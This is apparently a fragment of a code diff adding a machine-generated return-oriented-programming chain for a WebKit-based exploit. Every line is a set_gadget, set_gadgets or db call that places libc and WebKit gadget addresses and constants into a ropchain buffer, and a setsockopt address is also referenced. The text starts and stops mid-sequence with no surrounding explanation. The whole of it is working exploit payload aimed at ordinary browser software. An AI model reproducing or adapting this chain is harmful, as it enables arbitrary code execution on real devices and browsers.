+libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+248944, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+249016, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+249080, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([16, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+249232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+249248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+249408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+249440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+249392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+249424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+249536, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+249520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+249752, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+249768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+249736, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+249848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+249864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+250056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+250008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+250024, +webkit_base+4687784, +libc_base+845410, +libc_base+713278, +ropchain+250040, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+765459, +libc_base+713278, +ropchain+250200, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+250168, +webkit_base+4687784, +libc_base+845410, +libc_base+713278, +ropchain+250184, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([1, 0]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+250432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+250488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+5236215, +libc_base+713278, +ropchain+250584, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+250712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+250728, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+250888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+250920, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+250872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+250904, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+251016, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+251000, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+1537212, +libc_base+713278, +ropchain+251344, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+251360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+251328, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+251480, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+251464, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+251624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+251640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+251760, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+251744, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+251896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+251864, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+252056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+252008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+252024, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+252160, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+252144, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+252256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+252344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+252360, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+252464, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+252448, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+252520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+252624, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+252712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+252728, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+252888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+252920, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+252872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+252904, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+253000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+253016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+253176, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+253128, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+253144, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+253280, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+253264, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+253376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+253464, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+253480, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+253584, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+253568, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+253656, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+253768, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+253944, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+253896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+253912, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+254048, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+254032, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+254144, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+254232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+254248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+254352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+254336, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+254424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([2, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+254536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+254624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+254640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+254784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+254800, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+254768, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+254888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+254904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+229136, +libc_base+713278, +ropchain+255064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+255016, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+255032, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+255120, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+255232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+255264, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+255248, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+255424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+255376, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+255392, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+255528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+255512, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+772328,); +db([2, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+255744, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+255760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+255728, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+255840, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+255856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+256048, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+256000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+256016, +webkit_base+4687784, +libc_base+845410, +libc_base+713278, +ropchain+256032, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+765459, +libc_base+713278, +ropchain+256256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+256288, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+256224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+256240, +webkit_base+4687784, +libc_base+845410, +libc_base+713278, +ropchain+256272, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+256448, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+256400, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+256416, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+256552, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+256536, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+256648, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+256736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+256752, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+256856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+256840, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+256928, +webkit_base+4687784, +libc_base+863109, +libc_base+713278 +]); +db([3, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+257040, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+257128, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+257144, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+257304, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+257336, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+257288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+257320, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+257416, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+257432, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+257560, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+257576, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+257544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+257680, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+257696, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+257816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+257800, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+257904, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+257888, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+258008, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+258024, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+258144, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+258128, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+258216, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+258280, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([272, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([25, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+258560, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+258648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+258664, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+258824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+258856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+258808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+258840, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+258952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+258936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+259056, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+297248, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+887232, +libc_base+713278, +ropchain+259168, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+887232, +libc_base+713278, +ropchain+259240, 